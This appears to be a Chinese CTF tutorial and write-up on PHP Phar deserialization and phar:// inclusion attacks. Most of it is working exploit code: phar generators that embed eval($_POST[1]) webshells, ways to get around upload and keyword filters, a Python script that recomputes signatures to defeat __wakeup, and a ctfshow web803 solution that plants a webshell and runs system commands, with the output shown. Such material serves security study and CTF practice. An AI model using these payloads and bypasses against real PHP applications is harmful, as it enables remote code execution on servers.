什么是Phar

jar是开发java程序的应用,包括所有可执行,可访问的文件打包,方便部署; phar是php里类似jar的一种打包文件
对于php5.3或更高版本,phar后缀文件是默认开启支持的,可以直接使用它

Phar结构

stub phar文件标识,格式为xxx<?php xxx;HALT_COMPiLER0;?>;(头部信息)
manifest压缩文件的属性等信息,以序列化存储:
contents压缩文件的内容;
signature签名,放在文件末尾;

Phar协议解析文件时,会自动触发对nanifest字段的序列化字符串进行反序列化;

实验一(基本的phar利用)

创建一个test002.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);

class zixyd {
public $code;
public function __destruct() {
echo '_destruct() called!'."</br>";
eval($this->code);
}
}

$filename = $_GET['file'];

echo is_file($filename);

创建一个test.php用来生成phar;Phar需要PHP >=5.2在php.ini中将phar.readonly设为off,否则生成phar文件时会报错

执行test.php生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class zixyd {
public $code="eval(\$_POST[1]);";
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new zixyd();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

生成的phar.phar文件结构如下:

1
2
3
4
5
--phar.phar
--.phar
--.metadata.bin
--signature.bin
--stub.php
1
2
#.metadata.bin
O:5:"zixyd":1:{s:4:"code";s:16:"eval($_POST[1]);";}
1
2
stub.php
<?php __HALT_COMPILER(); ?>

最终成功执行

受影响的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile

一些绕过方式

伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); ///设置stub,增加gif文件头

phar不能出现在前面的字符

1
2
3
4
5
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

值得注意的是:那些可以使得phar文件的metadata反序列化的函数需要支持compress.bzip:或者php://filter协议等才行,比如if_file就不行

绕过后缀检查

将phar.phar更改后缀不影响phar文件的最终执行,所以这一点很好绕过白名单

过滤__HALT_COMPILER();

将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)

linux下使用命令gzip phar.phar 生成

phar 文件签名修改

对于某些情况,我们需要修改phar文件中的内容而达到某些需求(比如要绕过__wakeup要修改属性数量),而修改后的phar文件由于文件发生改变,所以须要修改签名才能正常使用

(__wakeup绕过:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本)

以默认的sha1签名为例:

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开

s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
s = s.replace(b'3:{', b'4:{')# 绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件

实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
class zixyd {
public $code;

public function __wakeup(){
echo "die";
exid(0);
}
public function __destruct() {
echo '_destruct() called!'."</br>";
eval($this->code);
}
}

$filename = $_GET['file'];


echo file_get_contents($filename);

生成phar.phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class zixyd {
public $code="eval(\$_POST[1]);";
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new zixyd();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

可以看到被__wakeup拦截了

执行脚本,绕过wakeup

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import sha1

with open('phar.phar', 'rb') as file:
f = file.read()

s = f[:-28]
s = s.replace(b'1:{', b'2:{')
h = f[-8:]
newf = s + sha1(s).digest() + h

with open('newPhar.phar', 'wb') as file:
file.write(newf)

生成newPhar.phar;成功绕过

Phar利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

补充

Phar文件包含

上面讲的都是phar反序列化;本题是利用phar文件包含;来自ctfshow-web803

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}

存在文件上传(当前目录确实是/var/www/html;但是没有权限);文件包含对后缀有限制,并且文件名有过滤;

利用phar文件绕过;生成一个phar后门文件

1
2
3
4
5
6
7
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();

再利用python脚本,当前没有权限可以写,那就写到/tmp目录下

1
2
3
4
5
6
7
8
import requests

url = "http://c2f01299-8a2b-4401-a26c-85e42c6142a3.challenge.ctf.show/"
data1 = {'file': '/tmp/phar.phar', 'content': open('phar.phar', 'rb').read()}
data2 = {'file': 'phar:///tmp/phar.phar/test', 'content': '123', '1': 'system("cat f*");'}
requests.post(url, data=data1)
r = requests.post(url, data=data2)
print(r.text)

确实没有可写的权限,

1
2
3
4
5
6
'1': 'system("id");'
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)

'1': 'system("ls -l /var/www");'
drwxr-xr-x 1 root root 4096 Jan 28 05:31 html
drwxr-xr-x 3 root root 4096 Sep 22 2020 localhost

其实这里一开始我是想借用zip伪协议包含绕过的;像下面一样

生成一个test.txt文件,内容如下;再压缩为test.zip文件

1
<?php phpinfo();?>

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php

error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];

if( !preg_match('/php|data|ftp/i',$file)){
// if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
echo "no";

}
//}

发现是可以成功的;

但是这个办法不可以用来解决web803;因为zip协议在file_exists判断不出来是文件